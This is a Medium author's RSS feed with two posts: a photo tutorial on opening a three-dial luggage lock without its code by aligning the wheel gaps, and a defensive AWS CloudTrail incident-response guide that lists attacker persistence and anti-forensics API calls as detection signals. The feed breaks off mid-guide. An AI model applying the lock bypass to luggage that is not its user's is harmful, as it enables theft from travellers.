<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Indranil Roy on Medium]]></title>
        <description><![CDATA[Stories by Indranil Roy on Medium]]></description>
        <link>https://medium.com/@indranilroy9?source=rss-76c76aa53ba------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Zxg7Pyn6H1xM-B1GAgk_fA@2x.jpeg</url>
            <title>Stories by Indranil Roy on Medium</title>
            <link>https://medium.com/@indranilroy9?source=rss-76c76aa53ba------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 02:33:50 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@indranilroy9/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[I Cut My Suitcase Open. Then I Found the 10-Try Trick That Opens Any Forgotten Lock.]]></title>
            <link>https://indranilroy9.medium.com/forgot-your-trolley-bag-passcode-the-10-try-trick-that-opens-it-and-why-it-works-c2dc1b0a9802?source=rss-76c76aa53ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/c2dc1b0a9802</guid>
            <category><![CDATA[diy]]></category>
            <category><![CDATA[brute-force]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[lifehacks]]></category>
            <category><![CDATA[travel]]></category>
            <dc:creator><![CDATA[Indranil Roy]]></dc:creator>
            <pubDate>Sun, 04 Oct 2026 07:26:00 GMT</pubDate>
            <atom:updated>2026-10-04T07:30:54.477Z</atom:updated>
            <content:encoded><![CDATA[<h4><strong>It took me a pair of scissors and a ruined zip to learn this. It’ll take you one minute.</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DHYe1RNlg4_1wZUr-v1j6Q.png" /></figure><p>The other day I stood in front of my trolley bag with no idea what the code was. I tried birthdays. I tried 000. I tried every number I have ever used for anything. Nothing.</p><p>I was in a hurry, so I cut the zipper. The bag was open, the lock was still locked, and I had a repair bill coming.</p><p>That night I went looking for how these little three-dial locks actually work. It turns out most of them can be opened in ten tries or fewer, without knowing the code, with no tools and no damage. The whole thing takes about a minute once you know what to look for.</p><p>This post walks you through the trick with photos from my own bag, then shows you what is inside the lock and why it gives up so easily. Fair warning: once you see it, you will never again trust this lock with anything you care about.</p><h3>Before you start</h3><p>You need three things.</p><ul><li><strong>Your own bag.</strong> This is for getting back into luggage that belongs to you. Nothing else.</li><li><strong>A phone torch.</strong> The gaps you are looking for are tiny and sit in shadow.</li><li><strong>Two to five minutes.</strong> The first time is slow because you are learning what to look for. After that it is under a minute.</li></ul><p>A toothpick or a small flat screwdriver helps you point at the gap while you look, but your fingers are enough.</p><p>This works on the ordinary three-dial lock built into most trolley bags, whatever the brand. Mine is a different brand and the lock inside is the same design. Four-dial locks and the few locks this does not work on are covered near the end.</p><h3>The trick, step by step</h3><p><strong>Step 1. Find the gap under each dial.</strong> Look at the side of each number wheel, below the numbers, where the wheel disappears into the lock body. Turn the wheel slowly with your torch on. At one spot you will see a small rectangular slot cut into the wheel. Each wheel has exactly one. If you cannot see it, look from a lower angle. It is never on top.</p><figure><img alt="gap under each dial" src="https://cdn-images-1.medium.com/max/1024/1*1x4XVBmEHQU7knbQHbNrJw.png" /></figure><p><strong>Step 2. Line up all three gaps.</strong> Turn each wheel until its gap sits in the same spot as the other two. All three pointing right, or all three pointing left, or all three dead centre. Which side does not matter. Same side on every wheel does.</p><figure><img alt="Line up all three gaps" src="https://cdn-images-1.medium.com/max/1024/1*DzQWo2g6g2KR5oEza8zcNA.png" /></figure><p><strong>Step 3. Check the digits are sitting straight.</strong> Each wheel should show one full digit on top, not half of one number and half of the next. If a digit is cut off, nudge the wheel until it clicks fully into place, then check the gap is still lined up. This is your home position.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fev9VP_6RvIXa7ntGY7png.png" /></figure><p><strong>Step 4. Press the open button.</strong> Once in a while it opens right here. Usually it does not. That is fine, keep going.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*39sSSj3NzhyK2Rfv3-Brhw.png" /></figure><p><strong>Step 5. Turn all three wheels one step, the same way.</strong> I turned mine anticlockwise, which added one to every wheel. So if your home position reads 7–4–3, the next try is 8–5–4, then 9–6–5, then 0–7–6, and so on. Press the button after every move. Three rules: move all three wheels, move them one step, move them the same direction every time.</p><p><strong>Step 6. Keep going. It opens within ten moves.</strong> Once the gaps are lined up, there are only ten positions the three wheels can be in together, and one of them is your code. So it’s ten presses at most, and then the latch pops. When it does, don’t spin the dials. Read the number on top. That’s your code. Now go set a new one (below).</p><h3>What correct alignment looks like</h3><p>This is the part both videos spend the most time on, because it is where people slip. These are the dials on my own bag in the home position. Every wheel is turned the same way, and every digit sits squarely on top.</p><figure><img alt="correct alignmnet" src="https://cdn-images-1.medium.com/max/760/1*EkMKesjGwo6ytsEijV36gg.gif" /></figure><p>If your wheels look like this, you are ready for step 4. If one wheel is turned differently from the others, fix that first. Nothing else will work until it is.</p><h3>Why it works: what is inside the lock</h3><p>Only two parts matter. Each number wheel is clipped to a small disc with one notch cut in it, called a <strong>gate</strong>. Behind the discs sits a flat metal <strong>bar</strong> with three teeth. Press the button and the bar tries to drop, but it only falls when all three gates sit under the teeth. Your code is simply the three numbers showing when that happens.</p><p>Here is the weakness. The gap you found in step 1 sits at the same fixed angle from the gate on every wheel, because all three wheels come out of the same mould. Line up the gaps and you have lined up the gates too. That leaves only ten positions to try, and one of them is your code.</p><p>The reset button just unhooks the wheels from the discs for a moment, so you can change the numbers while the gates stay put. That is why you hold it down while setting a new code.</p><p>For the textbook version, see <a href="https://en.wikipedia.org/wiki/Combination_lock">Wikipedia on combination locks</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XU4bpcLIZVzuyjs-4kPqxw.png" /></figure><p><strong>Left: </strong>the three gates point different ways, so the teeth land on metal and the bar stays up. Right: line the gates up and the bar drops straight in. The coloured marks are the gaps you can see from outside, one per wheel, always the same angle away from the gate. Line up the marks and you have lined up the gates.</p><h3>If it did not work, it is almost always one of these</h3><ul><li><strong>Gaps on different sides.</strong> One wheel’s gap pointing left and another’s pointing right is the number one mistake. Same side, all three, every time.</li><li><strong>A digit sitting between two numbers.</strong> A half-visible digit means the wheel is between positions, so the gate is between positions too. Nudge it until it clicks and shows one full number.</li><li><strong>Changing direction halfway.</strong> Two moves clockwise and then one anticlockwise breaks the pattern. Pick a direction and stay with it.</li><li><strong>Moving only one wheel.</strong> All three wheels move together, one step each, on every try.</li><li><strong>Forgetting to press the button.</strong> Easy to do when you are busy counting. Move, press, move, press.</li><li><strong>Not enough light.</strong> The gap is small and sits in shadow. Use a torch and look from the side and slightly below, never from the top.</li></ul><p>Ten moves done and still locked? Go back to step 1 and check each gap again. Nine times out of ten, one of them was a little off.</p><h3><strong>Set a new code, and don’t lose it again</strong></h3><p>Once it’s open, let’s fix the real problem so you never go through this again. Do this while the lock is open.</p><ol><li>Find the tiny reset button or slider. On most bags it’s right beside the dials or tucked just inside the latch.</li><li>Press it in and keep holding it. Let go too early and you’ll end up with a code you never chose.</li><li>Turn the wheels to your new code. You’ll feel and hear little clicks. Check that each digit sits fully on top, not stuck between two numbers.</li><li>Let go. That’s your new code.</li><li>Test it three times before you trust it. Close the latch, press the button, open it. Then scramble the dials, set the code again and open it once more.</li></ol><p>Last thing, and it matters: write the code down somewhere you’ll actually find it. A note in your phone or your password manager works. A sticky note inside the bag doesn’t, for obvious reasons.</p><h3>Does it work on every bag?</h3><p>Most of the time, yes. Plenty of bags use near-identical three-dial locks, so the insides are very similar from one bag to the next. A few cases to know about:</p><ul><li><strong>Four-dial locks.</strong> Should work the same way. Line up four gaps, then move all four wheels together.</li><li><strong>No gap you can find.</strong> A few better-made locks hide the mechanism or use a different design. For those, fall back to counting: set 000, press, 001, press, and keep going. It’s dull, but it’s at most 1,000 tries, and most people get there in under half an hour. Shake your hand out now and then.</li><li><strong>TSA locks.</strong> Usually works the same. The small keyhole is for airport staff and has nothing to do with the dials.</li><li><strong>Jammed or broken lock.</strong> If the latch is stuck, no trick helps. A luggage repair shop can swap the whole lock for a few hundred rupees, and they’ll usually fix a cut zipper at the same time. Ask me how I know.</li></ul><h3>The uncomfortable truth about this lock</h3><p>A lock that opens in ten tries without the code is not a security device. It is a zip holder. It stops the bag from spilling open on a conveyor belt and it keeps an honest person honest. That is the whole job, and the manufacturers know it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*LyZWnwNj9M41XCmV.gif" /></figure><p>So treat it that way.</p><ul><li><strong>Keep valuables on you.</strong> Cash, passports, cards, jewellery and medicines go in your hand luggage or your pockets, never in a locked checked bag.</li><li><strong>Want real resistance? Use a padlock.</strong> A small keyed padlock, or a decent combination padlock that does not show its gates, will not stop a determined thief, but it will stop the ten-try trick and the casual opportunist.</li><li><strong>Use the built-in lock as a convenience.</strong> Set a code you will remember, and change it if someone else learns it. That takes thirty seconds now that you know how.</li><li><strong>Only ever do this to your own bag.</strong> Opening someone else’s luggage is not a party trick. It is a crime, and this post is not a licence for it.</li></ul><h3>Quick recap</h3><ol><li>Torch on. Find the gap under each wheel.</li><li>Line all three gaps up on the same side.</li><li>Make sure every digit sits straight on top. This is the home position.</li><li>Press the button.</li><li>Turn all three wheels one step the same way. Press. Repeat.</li><li>It opens within ten moves. Set a new code. Save it somewhere safe.</li></ol><p>That’s it. The lock I’d written off as a lost cause turned out to be a ten-try puzzle, and I only found out after I’d cut the zip.</p><p>Save this post for the next time a friend is stuck in front of a locked bag with a flight or train to catch. You’ll be the hero, and it happens more often than you’d think.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*XzyDg7nV0CBqXUsQ.gif" /></figure><p>If this saves you a repair bill, a missed train or a ruined zipper, send it to the one friend who always forgets their code.</p><p>And if you try it, tell me in the comments how many moves it took you. Mine took six.</p><p><strong>Disclaimer:</strong> This is for getting back into your own luggage. Don’t use it on anything that isn’t yours.</p><p>Cheers!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c2dc1b0a9802" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Actually Read AWS CloudTrail]]></title>
            <link>https://systemweakness.com/how-to-actually-read-aws-cloudtrail-f2b3d64a7736?source=rss-76c76aa53ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/f2b3d64a7736</guid>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[opsec]]></category>
            <category><![CDATA[aws-cloudtrail]]></category>
            <dc:creator><![CDATA[Indranil Roy]]></dc:creator>
            <pubDate>Sun, 09 Aug 2026 16:41:17 GMT</pubDate>
            <atom:updated>2026-08-11T11:17:30.417Z</atom:updated>
            <content:encoded><![CDATA[<h3>The end-to-end SOC guide I wish someone handed me on day one — no fluff, just signals.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*25qsor5GmXqP1mu9" /></figure><p>If you touch incident response for anything on AWS, <strong>CloudTrail is the most important log source you will ever read.</strong></p><p>Not GuardDuty. Not VPC Flow Logs. <em>CloudTrail.</em></p><p>When an attacker is inside an AWS account, almost everything they do — creating a persistence user, stealing a snapshot, disabling a security control, or walking out with data leaves a fingerprint here. If you can read CloudTrail fluently, you can reconstruct exactly what happened, in what order, and by whom.<br>Yet most analysts never learn to read it properly. They know it “logs API calls,” they’ve seen the intimidating wall of JSON once, and they secretly hope they never have to open it during a live incident.This guide fixes that.</p><p>By the end, you will know:</p><ul><li>What CloudTrail actually records (and where its blind spots are)</li><li>The four event types and the exact shape of a log record</li><li>Every envelope and userIdentity field that matters in an investigation</li><li>How to run an end-to-end investigation using real-world attack patterns and SQL queries</li></ul><p>Assumed knowledge: you’ve heard “IAM” and “S3.” That’s it.</p><h3>Part 1: What CloudTrail Is (and What It Isn’t)</h3><p>Almost everything in AWS happens through an API call. When you click “Launch instance” in the AWS Console, the console makes an API call on your behalf (RunInstances). When a deployment script assumes a role, that’s AssumeRole. When an application reads a file from S3, that’s GetObject.</p><p>Underneath the pretty console, AWS is one giant API. CloudTrail is the account’s activity ledger, it writes down who called that API, when, from where, what they asked for, and whether it worked.</p><h4>The Two Planes (And Where Analysts Get Trapped)</h4><p>The part people miss: there are two “planes,” and CloudTrail treats them very differently.</p><ul><li><strong>Control plane</strong> — you managing resources. Create an EC2 instance, delete a security group, attach a policy, create an access key. These are <strong>management events</strong>, logged by default, for free.</li><li><strong>Data plane</strong> — activity <em>inside</em> resources. Read an object from S3, invoke a Lambda, pull a DynamoDB item. These are <strong>data events</strong>, <strong>off by default</strong>, and they cost money because there can be millions.</li></ul><blockquote><strong>The Rookie IR Trap</strong>: An analyst investigates an S3 data exfiltration alert, queries CloudTrail, finds zero GetObject calls, and concludes: “The attacker covered their tracks.”<br><strong>Reality:</strong> GetObject is a data event. Nobody turned data events on, so the logs never existed in the first place.</blockquote><h4>What CloudTrail Is NOT</h4><ul><li><strong>It is not a network log.</strong> You won’t see packets, port scans, or bytes transferred. That is <strong>VPC Flow Logs</strong>. CloudTrail tells you <em>“Someone called </em><em>GetObject on this file,&quot;</em> not <em>&quot;4 GB of data left your account.&quot;</em> You have to infer exfiltration volume from the count and pattern of API calls.</li><li><strong>It is not inside-the-box visibility.</strong> If an attacker SSHes into an EC2 instance and runs bash commands, CloudTrail only sees the <em>AWS API calls</em> that instance makes — not the host’s shell history. For host visibility, you need OS-level logging (e.g., EDR, Syslog, Auditd).</li><li><strong>It is not instant.</strong> Events usually land within ~5 minutes, but can take up to 15. During a live, fast-moving incident, the absence of a recent event is not proof it didn’t happen. Wait and re-query.</li></ul><p><strong>Keep the lanes straight.</strong> People blur CloudTrail with its neighbors:</p><ul><li><strong>CloudTrail</strong> — the API activity ledger. <em>What happened, by whom.</em></li><li><strong>GuardDuty</strong> — managed threat detection that <em>consumes</em> CloudTrail (plus DNS/VPC/EKS) and emits findings. The smoke alarm; CloudTrail is the security-camera footage the alarm makes you go review.</li><li><strong>AWS Config</strong> — resource configuration state and drift over time. <em>What a resource looked like</em>, not who called the API.</li><li><strong>Security Lake</strong> — an OCSF-normalized data lake that centralizes CloudTrail and other sources for cross-source hunting.</li></ul><h3>Part 2: The three ways you’ll access it</h3><p>Which mechanism you’re looking at changes what’s possible. People conflate these constantly.</p><p><strong>1. Event history</strong> — every account keeps the last <strong>90 days</strong> of <strong>management events</strong> in the console, no setup. Your fast, free first look: “did anyone touch IAM this week” — answered in thirty seconds. Limits: 90 days, management events only, clunky for correlation.</p><p><strong>2. Trails</strong> — a config you create that continuously delivers events to an <strong>S3 bucket</strong> as compressed JSON (and optionally CloudWatch Logs). This is the real deal, retention as long as you want, plus <strong>data events</strong> and <strong>Insights</strong>, and a feed you can point a SIEM or Athena at. An <strong>organization trail</strong> (created in the management account) captures <strong>every account in the org</strong> into one central bucket — what a mature team runs, and what lets you investigate any account without touching the compromised one.</p><p><strong>3. CloudTrail Lake</strong> — AWS’s managed, SQL-queryable store. Instead of standing up Athena over S3, you query an “event data store” directly with SQL, retention up to 7–10 years. Pricier, but no plumbing.</p><p><strong>SQL doesn’t work out of the box.</strong> The queries later run against a table called cloudtrail_logs, which doesn&#39;t exist until someone makes it. Two paths: with a plain trail in S3, point <strong>Athena</strong> at the bucket -the CloudTrail console&#39;s &quot;Create Athena table&quot; button generates the CREATE TABLE for you, run it once, then query. With <strong>Lake</strong>, the event data store is already queryable. &quot;Table not found&quot; means this step is missing.</p><h3>Part 3: The four event types</h3><p>Attackers live in the gaps between what’s logged and what isn’t, so know all four.</p><ul><li><strong>Management events</strong> — control-plane ops: CreateUser, AttachRolePolicy, RunInstances, ConsoleLogin, AssumeRole. On by default, the backbone of every investigation. Split into <strong>Read</strong> (Describe<em>, </em>List — the attacker&#39;s recon) and <strong>Write</strong> (Delete<em>, </em>Put — the damage).</li><li><strong>Data events</strong> — data-plane ops: S3 object-level (GetObject, PutObject, DeleteObject), Lambda Invoke, DynamoDB item access. High volume, off by default, cost money. You scope them with selectors (record GetObject/PutObject on <em>these</em> sensitive buckets, not all of S3). You <strong>cannot</strong> enable them retroactively — they must be on before the incident.</li><li><strong>Insights events</strong> — AWS’s built-in anomaly detection on management events. Two signals: unusual <strong>call rate</strong> (ApiCallRateInsight — an API firing way more than baseline) and unusual <strong>error rate</strong> (ApiErrorRateInsight — e.g. a spike in AccessDenied, which is exactly the shape of an attacker probing). Not clever behavioral analytics, but a cheap tripwire. Off by default.</li><li><strong>Network activity events</strong> — newest (2024). Record control-plane calls reaching your <strong>VPC endpoints</strong>, including ones <strong>denied by an endpoint policy</strong>. Useful for catching resources inside your VPC calling APIs they shouldn’t, or data-perimeter denials. Specialized — just know it exists.</li></ul><p>The reason to memorize these: the first thing a good responder asks is <em>“what was actually being logged at the time?”</em> If data events were off, no skill recovers the S3 read history. Knowing the categories tells you where your evidence gaps are before you waste an hour hunting logs that never existed.</p><h3>Part 4: Anatomy of a record — the core skill</h3><p>Every CloudTrail event is a JSON object. If you can read one fluently, you can read a million. Here is a standard management event — an IAM user creating an access key:</p><pre>{<br>  &quot;eventTime&quot;: &quot;2026-02-14T09:31:07Z&quot;,<br>  &quot;eventSource&quot;: &quot;iam.amazonaws.com&quot;,<br>  &quot;eventName&quot;: &quot;CreateAccessKey&quot;,<br>  &quot;awsRegion&quot;: &quot;us-east-1&quot;,<br>  &quot;sourceIPAddress&quot;: &quot;203.0.113.47&quot;,<br>  &quot;userAgent&quot;: &quot;aws-cli/2.15.30 Python/3.11.6 Darwin/23.2.0&quot;,<br>  &quot;userIdentity&quot;: {<br>    &quot;type&quot;: &quot;IAMUser&quot;,<br>    &quot;arn&quot;: &quot;arn:aws:iam::123456789012:user/dev-sergei&quot;,<br>    &quot;accountId&quot;: &quot;123456789012&quot;,<br>    &quot;accessKeyId&quot;: &quot;AKIAIOSFODNN7EXAMPLE&quot;,<br>    &quot;userName&quot;: &quot;dev-sergei&quot;<br>  },<br>  &quot;requestParameters&quot;: { <br>    &quot;userName&quot;: &quot;dev-sergei&quot; <br>  },<br>  &quot;responseElements&quot;: {<br>    &quot;accessKey&quot;: {<br>      &quot;accessKeyId&quot;: &quot;AKIAI44QH8DHBEXAMPLE&quot;,<br>      &quot;status&quot;: &quot;Active&quot;,<br>      &quot;userName&quot;: &quot;dev-sergei&quot;<br>    }<br>  },<br>  &quot;errorCode&quot;: null,<br>  &quot;readOnly&quot;: false,<br>  &quot;eventType&quot;: &quot;AwsApiCall&quot;,<br>  &quot;managementEvent&quot;: true,<br>  &quot;eventID&quot;: &quot;a1b2c3d4-5678-90ab-cdef-EXAMPLE11111&quot;<br>}</pre><p>Read the envelope first, every time — <em>who, when, from where, what did they ask for, did it work:</em></p><ul><li>eventTime — when, in <strong>UTC, always</strong>. Build timelines in UTC or you&#39;ll misorder events across regions.</li><li>eventSource — which service handled it (iam.amazonaws.com, s3.amazonaws.com, sts.amazonaws.com). Scope investigations with this.</li><li>eventName — the specific action (CreateAccessKey, ConsoleLogin, AssumeRole). The verb; most filtering happens here. Note it doesn&#39;t always match the console button that triggered it.</li><li>awsRegion — where it ran. Attackers love regions you don&#39;t use (sa-east-1, ap-south-1) because nobody watches them.</li><li>sourceIPAddress — where it came from. Gold for &quot;this key is calling from an IP/country it never used.&quot; Two gotchas: for calls AWS makes for you, this can be a service name like cloudtrail.amazonaws.com; for console actions it&#39;s the browser&#39;s IP.</li><li>userAgent — the client (aws-cli/..., an SDK string, console.amazonaws.com). A server-role key that always calls from an EC2 SDK suddenly calling from aws-cli on Darwin (a Mac) is a red flag.</li><li>requestParameters — what they asked for — the <em>intent</em>. The specific bucket, user, or role they targeted.</li><li>responseElements — what AWS returned for state-changing calls. For CreateAccessKey it holds the <strong>new key that was created</strong> — exactly the thing you now hunt in later events. Often null for reads.</li><li>errorCode<strong> / </strong>errorMessage — present only on <strong>failure</strong> (AccessDenied, UnauthorizedOperation). Not noise: a burst of AccessDenied across many actions is an attacker probing what a stolen credential can do. Failed calls are among the most valuable events in the log.</li><li>readOnly — true for reads, false for changes. Filter to false to see only what altered the account.</li><li>eventType — usually AwsApiCall; also AwsConsoleSignIn, AwsServiceEvent, AwsCloudTrailInsight.</li><li>eventID — unique ID; cite it in reports so anyone can pull the exact record.</li><li><strong>vpcEndpointId &amp; </strong><strong>tlsDetails</strong>: If present, vpcEndpointId proves the call stayed inside your private network perimeter. Its absence on a workload credential implies external leakage.</li></ul><h3>Part 5: userIdentity — &quot;who did this&quot;</h3><p>AWS identity is layered. If you misread the userIdentity block, your investigation will chase the wrong tail:</p><ul><li><strong>Root</strong>: The AWS account root user. Should almost never make API calls in a well-managed account. Root activity from an unfamiliar IP is an automatic P1 incident.</li><li><strong>IAMUser</strong>: A long-lived identity with an IAM username and access keys. Because long-lived keys (AKIA...) are frequently leaked in git repos, .env files, or CI/CD pipelines, sudden IAMUser activity from a residential or VPN IP is high-signal.</li><li><strong>AssumedRole</strong>: Temporary credentials generated by assuming an IAM role. This is the bedrock of modern AWS (EC2 instance profiles, Lambda execution roles, AWS SSO/IAM Identity Center, and cross-account access).</li></ul><p>Look at the anatomy of an AssumedRole identity block:</p><pre>&quot;userIdentity&quot;: {<br>  &quot;type&quot;: &quot;AssumedRole&quot;,<br>  &quot;principalId&quot;: &quot;AROACKCEVSQ6C2EXAMPLE:i-0abcd1234efgh5678&quot;,<br>  &quot;arn&quot;: &quot;arn:aws:sts::123456789012:assumed-role/app-server-role/i-0abcd1234efgh5678&quot;,<br>  &quot;sessionContext&quot;: {<br>    &quot;sessionIssuer&quot;: { <br>      &quot;type&quot;: &quot;Role&quot;, <br>      &quot;userName&quot;: &quot;app-server-role&quot; <br>    },<br>    &quot;attributes&quot;: { <br>      &quot;creationDate&quot;: &quot;2026-02-14T08:00:11Z&quot;, <br>      &quot;mfaAuthenticated&quot;: &quot;false&quot; <br>    }<br>  }<br>}</pre><h4>How to Read Role Sessions Like a Pro</h4><ol><li><strong>Identify the Role:</strong> sessionIssuer.userName tells you the base role (app-server-role).</li><li><strong>Identify the Session Name:</strong> Look at the string after the slash in the ARN (i-0abcd1234efgh5678). When an EC2 instance assumes its instance profile role, AWS automatically sets the session name to the <strong>EC2 Instance ID</strong>. This tells you <em>which specific server</em> made the call.</li><li><strong>Check </strong><strong>creationDate vs. Timestamp:</strong> Assumed-role credentials are short-lived by design (maximum 12 hours; 1 hour for role-chaining). EC2 instances automatically rotate temp credentials. If you see a creationDate that is days old with activity still flowing, the role is simply being re-assumed on a routine rotation—it is not one perpetual session.</li><li><strong>The Stolen Credential Trap:</strong> An AssumedRole event&#39;s sourceIPAddress shows where the credentials are <strong>currently being used</strong>, which can differ from where the role was <strong>originally assumed</strong>. If an attacker scrapes metadata credentials off an EC2 instance and runs them from their laptop, the Role ARN stays the same, but the sourceIPAddress changes to an external IP. <em>Spotting that IP mismatch is core exfiltration detection.</em></li></ol><blockquote><strong>The move that matters most is chaining identity<em>:</em></strong><em> A human logs into the console (</em><em>ConsoleLogin), assumes an admin role (</em><em>AssumeRole -&gt; generates short-lived keys with a session name), and takes action (</em><em>AssumedRole events). You stitch the investigation together by chaining </em><em>accessKeyId, </em><em>principalId, and the role session name.</em></blockquote><h3>Part 6: The events that matter most in Incident Response</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*C89lJ3OINtYrPkdX.gif" /></figure><p>The working vocabulary of a cloud responder.<br>ConsoleLogin<strong> — the front door.</strong></p><pre>{<br>  &quot;eventSource&quot;: &quot;signin.amazonaws.com&quot;,<br>  &quot;eventName&quot;: &quot;ConsoleLogin&quot;,<br>  &quot;sourceIPAddress&quot;: &quot;198.51.100.23&quot;,<br>  &quot;userIdentity&quot;: { &quot;type&quot;: &quot;IAMUser&quot;, &quot;userName&quot;: &quot;dev-sergei&quot; },<br>  &quot;additionalEventData&quot;: { &quot;MFAUsed&quot;: &quot;No&quot; },<br>  &quot;responseElements&quot;: { &quot;ConsoleLogin&quot;: &quot;Success&quot; }<br>}</pre><p><strong>1. The Front Door:</strong> ConsoleLogin<br>Watch responseElements.ConsoleLogin for Success or Failure.</p><ul><li>Pay close attention to additionalEventData.MFAUsed. A successful login with &quot;MFAUsed&quot;: &quot;No&quot; in an environment where MFA is mandated is a critical alert.</li><li>A string of Failure events followed by a Success from the same IP indicates a successful password brute-force or credential-stuffing attack.</li></ul><p><strong>2. The Orientation Phase: </strong>GetCallerIdentity<br>Alone, sts:GetCallerIdentity is harmless it simply returns who you are. But <strong>it is the first command an attacker runs after importing a stolen access key.</strong> GetCallerIdentity immediately followed by a burst of List* and Describe* recon calls from a non-corporate IP is textbook attacker orientation.</p><p><strong>3. IAM Persistence &amp; Escalation<br></strong>When attackers gain a foothold, they immediately build backdoors so they survive credential rotation:</p><ul><li><strong>Identity Creation:</strong> CreateUser, CreateAccessKey, or CreateLoginProfile (enabling console password login on a programmatic account).</li><li><strong>Policy Manipulation:</strong> AttachUserPolicy, AttachRolePolicy, or PutUserPolicy granting AdministratorAccess or inline &quot;Action&quot;: &quot;*&quot;.</li><li><strong>Quiet Escalation:</strong> UpdateAssumeRolePolicy (modifying a trust policy so an attacker-controlled AWS account can assume your roles) or SetDefaultPolicyVersion (switching a managed policy to a backdoor version without triggering &quot;Policy Attached&quot; alerts).</li><li><strong>The</strong> iam:PassRole<strong> Pivot:</strong> Using RunInstances or CreateFunction to attach an over-privileged IAM role to an EC2 instance or Lambda function they control, borrowing admin permissions without ever modifying an IAM policy.</li></ul><p>Any of these from an unexpected principal in quick succession is hands-on-keyboard. Example: admin attached to a user:</p><pre>{<br>  &quot;eventName&quot;: &quot;AttachUserPolicy&quot;,<br>  &quot;sourceIPAddress&quot;: &quot;203.0.113.200&quot;,<br>  &quot;requestParameters&quot;: {<br>    &quot;userName&quot;: &quot;helpdesk-svc&quot;,<br>    &quot;policyArn&quot;: &quot;arn:aws:iam::aws:policy/AdministratorAccess&quot;<br>  },<br>  &quot;userIdentity&quot;: { &quot;type&quot;: &quot;IAMUser&quot;, &quot;userName&quot;: &quot;dev-sergei&quot; }<br>}</pre><p><strong>4. Anti-Forensics (“Turning Off the Lights”)</strong><br>If you see any of these fire unexpectedly, treat it as an active P1 intrusion:</p><ul><li>StopLogging, DeleteTrail, UpdateTrail, PutEventSelectors — disabling or crippling CloudTrail itself. StopLogging deserves its own high-priority alert, there&#39;s almost no legit reason for it to fire unexpectedly.</li><li>DeleteFlowLogs — killing network visibility. PutBucketLogging (set to nothing) — killing S3 access logging.</li><li>DeleteDetector, StopMonitoringMembers — turning off GuardDuty.</li><li>DeleteBucket / PutBucketPolicy making a bucket public — destruction or exposure.</li></ul><p><strong>5. Data exfiltration (when data events are on):</strong></p><ul><li>S3: a spike in GetObject on a sensitive bucket, ListObjects sweeping it, reads from a new IP/principal, or copies to a bucket in an unknown account.</li><li>Snapshots/AMIs: CreateSnapshot then ModifySnapshotAttribute making it shareable/public, or ModifyImageAttribute on an AMI walking out with a whole disk by sharing it to an attacker account. RDS is the same move with different verbs: CreateDBSnapshot then ModifyDBSnapshotAttribute.</li></ul><h3>Part 7: A real investigation, start to finish</h3><figure><img alt="Real Game" src="https://cdn-images-1.medium.com/max/480/0*pwF-8dkJfGy0JJfY.gif" /></figure><p><strong>Trigger:</strong> GuardDuty fires<br>UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS — in plain English, <em>credentials belonging to an EC2 instance role are being used from an IP outside AWS.</em> Someone stole the creds off an instance and is using them from their own machine.</p><p><strong>The 8-Step IR Playbook</strong></p><pre>1. PIN IDENTIFIER ---&gt; 2. PULL FULL SESSION ---&gt; 3. FIND IOCs / RECON<br>         |                                                 |<br>         v                                                 v<br>6. CHECK ANTI-FORENSICS &lt;-- 5. HUNT PERSISTENCE &lt;-- 4. SPLIT SUCCESS / FAIL<br>         |<br>         v<br>7. ASSESS EXFILTRATION ---&gt; 8. TIMELINE &amp; BLADE-SWEEP ACROSS ORG</pre><p><strong>1. Pin the identifier.</strong> GuardDuty gives you the role and usually the accessKeyId. That key ID is the thread — every action the stolen creds take carries it. Prefix cheat: AKIA = long-lived IAM user key, ASIA = temporary STS key (a stolen instance credential looks like this), AROA = a role&#39;s unique ID (seen in principalId). ASIA here tells you you&#39;re chasing temp role creds, not a leaked user key — which changes the fix (you revoke the session, you can&#39;t just &quot;delete&quot; a temp key).</p><p><strong>2. Pull the whole session.</strong> First query is always this shape everything this credential did, in order:</p><pre>SELECT eventTime, eventName, sourceIPAddress, awsRegion, errorCode, requestParameters<br>FROM   cloudtrail_logs<br>WHERE  useridentity.accesskeyid = &#39;ASIAEXAMPLE1234567&#39;<br>  AND  eventTime &gt; &#39;2026-02-14T00:00:00Z&#39;<br>ORDER  BY eventTime ASC;</pre><p>Read top to bottom it <em>is</em> the attacker’s session, API call by API call.</p><p><strong>3. Find the orientation moment.</strong> Near the top: GetCallerIdentity, then recon (ListBuckets, DescribeInstances, ListUsers, ListRoles). The sourceIPAddress here is the attacker&#39;s real IP , now you have an <strong>IOC</strong> (Indicator of Compromise: any concrete artifact pointing to the attacker — IP, username, key ID) to sweep everywhere else.</p><p><strong>4. Split success from failure.</strong> Filter by errorCode. AccessDenied events show what they <em>tried and 